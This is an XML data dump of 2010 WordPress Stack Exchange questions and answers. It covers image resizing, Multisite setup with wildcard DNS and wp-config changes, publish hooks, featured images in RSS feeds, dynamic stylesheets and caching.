  <row Id="1463" PostTypeId="1" AcceptedAnswerId="4012" CreationDate="2010-09-07T10:40:32.213" Score="7" ViewCount="705" Body="&lt;p&gt;Is there a way to resize images to the actual size they will be shown in the post? I have users that import a large image and then resize it in the visual editor. This is easy, since they can just drag the image until it is the size they want, without first opening an image editor, resizing the image, saving it, and uploading it as a separate attachment. Of course, this sometimes results in an image that is 100px wide in the post, but 1500px in reality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that does this when a new post is saved? I would like to keep the existing full-size image (for linking, or later resizes), but just add an extra size (and save it in the &lt;code&gt;_wp_attachment_metadata&lt;/code&gt; object), so this post has the image in the correct size, and a reference to the full-size attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, all existing posts should also be handled once. &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags there might have just a &lt;code&gt;width&lt;/code&gt;, just a &lt;code&gt;height&lt;/code&gt;, or none of them: this should all be cleaned up, so they all have the correct &lt;code&gt;width&lt;/code&gt;, &lt;code&gt;height&lt;/code&gt; and an image of that size.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-07T13:12:11.730" LastActivityDate="2011-08-07T19:22:39.287" Title="Resizing images to the actual size used in the editor?" Tags="&lt;plugin-recommendation&gt;&lt;images&gt;&lt;editor&gt;&lt;image-size&gt;" AnswerCount="6" CommentCount="5" FavoriteCount="6" />
  <row Id="1464" PostTypeId="2" ParentId="1463" CreationDate="2010-09-07T10:46:56.383" Score="0" ViewCount="" Body="&lt;p&gt;What about utilizing timthumb and passing variable to automatically change the image size/dimensions and zoom levels? This way the original image sizes can still be maintained. If you need some examples down this line let me know.  &lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-07T10:46:56.383" />
  <row Id="1465" PostTypeId="2" ParentId="1456" CreationDate="2010-09-07T10:51:42.707" Score="4" ViewCount="" Body="&lt;p&gt;As you probably already know. Since WordPress 3.0 Multi-Site functionality has been included by default as the WordPress MU project has been merged into the WordPress 3.0 core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to the initial setup, it might take a little bit of work if you are not familiar with php coding but what I can tell you is that once its setup your essentially good to go. The process of actually being able to offer or add additional subdomains off your root domain take less than 30 seconds to complete by a user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you are looking for anything in specific in regards to this or if you have any follow-up questions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATED:&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Before You Begin - Admin Requirements&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you want to run a network of blogs you should at least have a basic understanding of UNIX/Linux administration. A basic knowledge of WordPress development, PHP, HTML and CSS is recommended as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up and running &lt;strong&gt;a multi-site installation is more complex than a single-site install&lt;/strong&gt;. Reading this page should help you to decide if you really need a multi-site install, and what might be involved with creating one. If the instructions on this page make no sense to you, be sure to test things on a development site first, rather than your live site.&#xA;Server Requirements&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this feature requires extra server setup and more technical ability, please check with your webhost and ask if they support the use of this feature. It is not recommended to try this on shared hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are given the choice between sub-domains or sub-directories in &lt;em&gt;Step 4: Installing a Network&lt;/em&gt;. This means each additional site in your network will be created as a new virtual subdomain or subdirectory.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub-directories&lt;/strong&gt; -- like &lt;code&gt;example.com/site1&lt;/code&gt; and &lt;code&gt;example.com/site2&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub-domains&lt;/strong&gt; -- like &lt;code&gt;site1.example.com&lt;/code&gt; and &lt;code&gt;site2.example.com&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Sub-directory sites&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It works with the use of the mod_rewrite feature on the server having the ability to read the .htaccess file, which will create the link structure. &lt;/li&gt;&#xA;&lt;li&gt;If you are using pretty permalinks in your blog already, then subdirectory sites will work as well. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Sub-domain sites&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It works using wildcard subdomains. You must have this enabled in Apache, and you must also add a wildcard subdomain to your DNS records. (See Step 2 how to set up.) &lt;/li&gt;&#xA;&lt;li&gt;Some hosts have already set up the wildcard on the server side, which means all you need to add is the DNS record. &lt;/li&gt;&#xA;&lt;li&gt;Some shared webhosts may not support this, so you may need to check your webhost before enabling this feature. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;WordPress Settings Requirements&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Giving WordPress its own directory will not work in WordPress 3.0 with multisite enabled. It interferes with the member blog lookup.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You cannot create a network in the following cases:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;WordPress address (URL)&quot; is different from &quot;Site address (URL)&quot;.&lt;/li&gt;&#xA;&lt;li&gt;&quot;WordPress address (URL)&quot; uses a port number other than ':80', ':443'. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;You cannot choose Sub-domain Install in the following cases:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WordPress install is in a directory (not in document root).&lt;/li&gt;&#xA;&lt;li&gt;&quot;WordPress address (URL)&quot; is localhost.&lt;/li&gt;&#xA;&lt;li&gt;&quot;WordPress address (URL)&quot; is IP address such as 127.0.0.1. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;You cannot choose Sub-directory Install in the following cases:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If your existing WordPress installation has been set up for more than a month, due to issues with existing permalinks. (This problem will be fixed in a future version.) &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(See your &lt;code&gt;/wp-admin/network.php&lt;/code&gt; for more detail)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 1: Backup Your WordPress&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Your WordPress will be updated when creating a Network. Please backup your database and files.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 2: Setting Wildcard Subdomains&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;(If this is a Sub-directories Install, skip this step.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sub-domain sites work with the use of wildcard subdomains. This is a two-step process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Apache must be configured to accept wildcards.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open up the httpd.conf file or the include file containing the VHOST entry for your web account.&lt;/li&gt;&#xA;&lt;li&gt;Add this line:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ServerAlias *.example.com&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the DNS records on your server, add a wildcard subdomain that points to the main installation. It should look like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;A *.example.com&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;External links:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Wildcard_DNS_record&quot; rel=&quot;nofollow&quot;&gt;Wildcard DNS record&lt;/a&gt; (Wikipedia)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.0/vhosts/&quot; rel=&quot;nofollow&quot;&gt;Apache Virtual Host&lt;/a&gt; (Apache HTTP Server documentation) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Step 3: Allow Multisite&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To enable the Network menu item, you must first define multisite in the &lt;code&gt;/wp-config.php file&lt;/code&gt;. Open up &lt;code&gt;/wp-config.php&lt;/code&gt; and where it says this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* That's all, stop editing! Happy blogging. */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this line above it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_ALLOW_MULTISITE', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Step 4: Installing a Network&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This will enable the Network menu item to appear in the Tools menu. Visit &lt;code&gt;Administration&lt;/code&gt; &gt; &lt;code&gt;Tools&lt;/code&gt; &gt; &lt;code&gt;Network&lt;/code&gt; to see the screen where you will configure certain aspects of our network.&#xA;Tools Network SubPanel&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Addresses of Sites in your Network&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You are given the choice between sub-domains or sub-directories (if none of the above applies). This means each additional site in your network will be created as a new virtual subdomain or subdirectory. you have to pick one or the other, and you cannot change this unless you reconfigure your install. See also &lt;em&gt;&quot;Before you Begin&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub-domains&lt;/strong&gt; -- like &lt;code&gt;site1.example.com&lt;/code&gt; and &lt;code&gt;site2.example.com&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub-directories&lt;/strong&gt; -- like &lt;code&gt;example.com/site1&lt;/code&gt; and &lt;code&gt;example.com/site2&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Network Details&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;These are filled in automatically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Server Address&lt;/strong&gt; - The Internet address of your network will be example.com. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Network Title&lt;/strong&gt; - What would you like to call your network? &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Admin E-mail Address&lt;/strong&gt; - Your email address. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Double-check they are correct and click the Install button. You may receive a warning about wildcard subdomains. Check Setting Wildcard Subdomains.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Warning! Wildcard DNS may not be configured correctly!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The installer attempted to contact a random hostname (&lt;code&gt;13cc09.example.com&lt;/code&gt;) on your domain. To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a &lt;code&gt;* hostname&lt;/code&gt; record pointing at your web server in your DNS configuration tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 5: Enabling the Network&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The rest of the steps are ones you must complete in order to finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools Network Created.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, &lt;strong&gt;back up your existing &lt;code&gt;/wp-config.php&lt;/code&gt; and &lt;code&gt;/.htaccess&lt;/code&gt; files&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a &lt;code&gt;blogs.dir&lt;/code&gt; directory under &lt;code&gt;/wp-content/&lt;/code&gt;&lt;/strong&gt; - This directory is used to stored uploaded media for your additional sites and must be writable by the web server. They should be CHOWNed and CHMODed the same as your wp-content directory. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add the extra lines your WordPress installation generates into your &lt;code&gt;/wp-config.php&lt;/code&gt; file.&lt;/strong&gt; - These lines are dynamically generated for you based on your configuration. Edit the &lt;code&gt;/wp-config.php&lt;/code&gt; file while you are logged in to your sites admin panel. Paste the generated lines immediately above &lt;code&gt;/* That's all, stop editing! Happy blogging. */&lt;/code&gt;. &#xA;Remove the earlier placed &lt;code&gt;define('WP_ALLOW_MULTISITE', true);&lt;/code&gt; line only if you wish to remove the Network menu in the admin area. You may choose to leave this to be able to access the &lt;code&gt;/.htaccess&lt;/code&gt; rules again.. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add the generated mod_rewrite rules to your &lt;code&gt;/.htaccess&lt;/code&gt; file, replacing other WordPress rules.&lt;/strong&gt; - These lines are dynamically generated for you based on your configuration. (If there isn't one, then create it.) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Log in again.&lt;/strong&gt; - Once the above steps are completed and the new &lt;code&gt;/wp-config.php&lt;/code&gt; &amp;amp; &lt;code&gt;/.htaccess&lt;/code&gt; files are saved, your network is enabled and configured. You will have to log in again. click &lt;em&gt;&quot;Log In&quot;&lt;/em&gt; to refresh your Adminstration Panel. If you have problems logging back in, please clear your browser's cache and cookies. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Step 6: Super Admin Settings&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You will now see a new menu section called Super Admin. The menus contained in there are for adding and managing additional sites in your network. Your base WordPress install is now the main site in your network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go &lt;code&gt;Super Admin&lt;/code&gt; &gt; &lt;code&gt;Options&lt;/code&gt; panel to configure network options, and then create sites and users.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Things You Need To Know&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here are some additional things you might need to know about advanced administration of the blog network.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;WordPress Plugins&lt;/strong&gt; - WordPress Plugins now have additional flexibility, depending upon their implementation across the network. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Site Specific Plugins&lt;/strong&gt; - WordPress Plugins to be activated or deactivated by an individual blog owner are stored in the plugins directory. You need to enable the Plugins page for individual site administrators from &lt;code&gt;Network&lt;/code&gt; &gt; &lt;code&gt;Options&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Network Plugins&lt;/strong&gt; - WordPress Plugins stored in the plugins directory can be activated across the network by the super admin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Must-Use Plugins&lt;/strong&gt; - Plugins to be used by all sites on the entire network may also be installed in the mu-plugins directory as single files, or a file to include a subfolder. Any files within a folder will not be read. These files are not activated or deactivated; if they exist, they are used. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Categories and Tags&lt;/strong&gt; - Global terms are disabled in WordPress 3.0 by default. You can use the Sitewide Tags WordPress Plugin or other similar Plugins to incorporate global tags on the portal/front page of the site or on specific pages or blogs within the network to increase navigation based upon micro-categorized content. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-08T00:35:52.397" LastActivityDate="2010-09-08T00:35:52.397" CommentCount="7" />
  <row Id="1466" PostTypeId="1" CreationDate="2010-09-07T11:18:26.070" Score="0" ViewCount="147" Body="&lt;p&gt;i am looking for learning resources to get started with wordpress 3 (i'd like to learn the latest) plugin/theme development. i also looked at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1121/recommendations-for-an-in-depth-wordpress-book&quot;&gt;Recommendations for an In-Depth WordPress Book?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am looking for recommendations on which book i should get. considering i am looking for something for wordpress 3&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470560541&quot; rel=&quot;nofollow&quot;&gt;Professional Wordpress&lt;/a&gt; - i am actually reading this because its the newest i can find on amazon and it got 5/5 rating at amazon! &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://digwp.com/2010/09/version-3/&quot; rel=&quot;nofollow&quot;&gt;Digging into Wordpress (v3)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/&quot; rel=&quot;nofollow&quot;&gt;Build Your Own Wicked WordPress Themes&lt;/a&gt; - i found this on the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1121/recommendations-for-an-in-depth-wordpress-book&quot;&gt;other question&lt;/a&gt; supposedly this is more advanced&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1847193595&quot; rel=&quot;nofollow&quot;&gt;WordPress Plugin Development – Beginner’s Guide&lt;/a&gt; - also from the other question. but are they for wordpress 3? is there alot of differences in wordpress 2 vs 3? i guess since i am new to wordpress development, its better and less confusing to get a wordpress 3 book?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="794" LastEditorUserId="794" LastEditorDisplayName="" LastEditDate="2010-09-09T07:50:15.880" LastActivityDate="2010-09-09T07:50:15.880" CommunityOwnedDate="2010-09-07T18:02:38.467" Title="Recommendations for books/resource to get started with wordpress 3 development (plugins/themes)" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;themes&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="1467" PostTypeId="2" ParentId="1414" CreationDate="2010-09-07T12:15:50.870" Score="2" ViewCount="" Body="&lt;p&gt;In functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mynewproduct(){&#xA;    myfunction();&#xA;}&#xA;add_action( 'new_product', 'mynewproduct' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more and the official documentation, refer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Status_Transitions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-07T12:15:50.870" />
  <row Id="1468" PostTypeId="1" AcceptedAnswerId="1470" CreationDate="2010-09-07T13:45:24.043" Score="2" ViewCount="196" Body="&lt;p&gt;Posts may be published either immediately or in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose a plug-in wants to do something at the moment when the post becomes published and visible on the blog (I don't mean when the post is saved as published in the admin panel with  whatever date). Is there a hook like &quot;post_visible&quot; or something similar. &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-09-07T14:18:06.967" Title="Any Hook Called When Post Becomes Published?" Tags="&lt;3.0.1&gt;&lt;hooks&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1469" PostTypeId="1" AcceptedAnswerId="1471" CreationDate="2010-09-07T14:01:32.950" Score="1" ViewCount="546" Body="&lt;p&gt;Hay, does anyone know a way to display the featured image url within the RSS feed?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2010-09-09T20:28:40.237" Title="display featured image in RSS feed" Tags="&lt;rss&gt;&lt;features&gt;" AnswerCount="1" />
  <row Id="1470" PostTypeId="2" ParentId="1468" CreationDate="2010-09-07T14:18:06.967" Score="1" ViewCount="" Body="&lt;p&gt;Every time a post changes status, &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post.php#L2714&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_transition_post_status&lt;/code&gt;&lt;/a&gt; function will be called. This triggers the actions &lt;code&gt;${old_status}_to_${new_status}&lt;/code&gt; and &lt;code&gt;${new_status}_${post-&amp;gt;post_type}&lt;/code&gt;, so for example &lt;code&gt;publish_post&lt;/code&gt; will be triggered here. A post with a date in the future will have the status &lt;code&gt;future&lt;/code&gt; until it is actually published, so this should work for you.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-07T14:18:06.967" CommentCount="2" />
  <row Id="1471" PostTypeId="2" ParentId="1469" CreationDate="2010-09-07T14:26:30.427" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function add_featured_image_url($output) {&#xA;    global $post;&#xA;    if ( has_post_thumbnail( $post-&amp;gt;ID ) ){&#xA;        $output = wp_get_attachment_url( get_post_thumbnail_id( $post-&amp;gt;ID ) ) . ' ' . $output;&#xA;    }&#xA;    return $output;&#xA;}&#xA;&#xA;add_filter('the_excerpt_rss', 'add_featured_image_url');&#xA;add_filter('the_content_feed', 'add_featured_image_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-09T20:28:40.237" LastActivityDate="2010-09-09T20:28:40.237" CommentCount="6" />
  <row Id="1472" PostTypeId="2" ParentId="1445" CreationDate="2010-09-07T14:46:01.723" Score="5" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_register_style&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_style&lt;/code&gt;&lt;/a&gt; to add the stylesheet. DO NOT simply add a stylesheet link to &lt;code&gt;wp_head&lt;/code&gt;. Queuing styles allows other plugins or themes to modify the stylesheet if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your stylesheet can be a .php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_style('myStyleSheet', 'my-stylesheet.php');&#xA;wp_enqueue_style( 'myStyleSheet');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my-stylesheet.php&lt;/strong&gt; would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// We'll be outputting CSS&#xA;header('Content-type: text/css');&#xA;&#xA;include('my-plugin-data.php');    &#xA;?&amp;gt;&#xA;&#xA;body {&#xA;  background: &amp;lt;?php echo $my_background_variable; ?&amp;gt;;&#xA;  font-size: &amp;lt;?php echo $my_font_size; ?&amp;gt;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="43" LastActivityDate="2010-09-07T14:46:01.723" CommentCount="2" />
  <row Id="1473" PostTypeId="1" AcceptedAnswerId="1475" CreationDate="2010-09-07T15:18:13.143" Score="5" ViewCount="133" Body="&lt;p&gt;What I mean by series is like writing a book. A reader should be able to click on the book and then proceed to read the chapters. I can probably mimic it by creating a page and then linking it to a series of posts. I am looking for a more natural way to present and navigate. &lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-07T21:38:57.380" LastActivityDate="2010-11-12T03:00:46.167" Title="Is there a way I can write a series in WordPress?" Tags="&lt;posts&gt;&lt;cms&gt;&lt;books&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="1474" PostTypeId="1" AcceptedAnswerId="1478" CreationDate="2010-09-07T15:21:52.097" Score="1" ViewCount="73" Body="&lt;p&gt;I've been browsing around a bit, but haven't been able to find any plugins for changing the default theme editor. Currently it's a text area with no syntax highlighting. I'd like something that at least gives syntax highlighting. There are all sorts of plugins for the post editor, but I've yet to find one for the theme editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails, I'll make one myself, but I thought I would ask here before I did that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="796" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-07T18:06:35.230" LastActivityDate="2010-09-07T18:06:35.230" Title="Are there any Worpdress plugins to change the theme editor?" Tags="&lt;plugin-recommendation&gt;&lt;theme-development&gt;&lt;editor&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1475" PostTypeId="2" ParentId="1473" CreationDate="2010-09-07T15:34:23.403" Score="5" ViewCount="" Body="&lt;p&gt;I've used this plugin for a client site I did a while back...it might do what you need...&lt;a href=&quot;http://unfoldingneurons.com/neurotic-plugins/organize-series-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Organize Series plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-09-07T15:34:23.403" CommentCount="1" />
  <row Id="1476" PostTypeId="1" AcceptedAnswerId="1697" CreationDate="2010-09-07T15:45:23.510" Score="1" ViewCount="98" Body="&lt;p&gt;I have some query that brings around 50+ posts (I know it's not ideal but had to do that to build something the client asked..) and a set of loops to order them in a certain way and it looks like that this sequence is delaying parts of the rendering of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to cache in a transient this entire block of rendered HTML, is that possible?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-09-12T13:13:53.967" Title="Is it possible to save an entire piece of rendered HTML in a transient?" Tags="&lt;cache&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="1477" PostTypeId="2" ParentId="1476" CreationDate="2010-09-07T16:00:25.370" Score="0" ViewCount="" Body="&lt;p&gt;If I were to implement this today, my preference would be the &lt;a href=&quot;http://wordpress.org/extend/plugins/memcached/&quot; rel=&quot;nofollow&quot;&gt;memcache object cache&lt;/a&gt;, storing the data using &lt;code&gt;wp_cache_set()&lt;/code&gt;, possibly updating the data using WP_Cron rather than during page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just how many kilobytes are we talking about?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-07T16:00:25.370" CommentCount="3" />
  <row Id="1478" PostTypeId="2" ParentId="1474" CreationDate="2010-09-07T16:22:58.817" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Jack Slingerland,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few plugins that do this but the only one I that has been updated recently is &lt;a href=&quot;http://wordpress.org/extend/plugins/power-code-editor/&quot; rel=&quot;nofollow&quot;&gt;Power Code Editor&lt;/a&gt;.  At a recent WordCamp Matt mentioned that a new built in theme editor with a trash bin and revisions is on the road map but I have not heard it mentioned in any of the dev meetings.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-07T16:22:58.817" CommentCount="1" />
  <row Id="1479" PostTypeId="1" AcceptedAnswerId="1494" CreationDate="2010-09-07T16:38:40.873" Score="1" ViewCount="62" Body="&lt;p&gt;I know that it is possible to restrict (or extend) the memory usage of the entire WP site using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '64M')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do the same for only one plugin that the website uses ?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-09-07T22:18:03.110" Title="Can you limit the memory usage of a particular plugin?" Tags="&lt;plugins&gt;&lt;memory&gt;&lt;wp-config&gt;" AnswerCount="2" />
  <row Id="1480" PostTypeId="2" ParentId="1445" CreationDate="2010-09-07T17:10:37.457" Score="6" ViewCount="" Body="&lt;p&gt;Dynamically building a CSS file and then loading it adds a HUGE performance burden to what should be a very low bandwidth deal of adding a CSS file, especially if there are variables in the CSS that are going to be processed through WP. Because it is two different files being created for one page load, WP starts up twice and runs all the DB queries twice, and it's a big mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your slider is only going to be on one page, and you want the styles set dynamically, then your best bet is to add a style block to the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order of performance:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add small block of styles in header,&#xA;dynamically created - Very fast&lt;/li&gt;&#xA;&lt;li&gt;Add a non-dynamic stylesheet via&#xA;wp_enqueue_style - Medium&lt;/li&gt;&#xA;&lt;li&gt;Add a dynamic stylesheet via&#xA;wp_enqueue_style - Very Slow&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-07T17:10:37.457" CommentCount="2" />
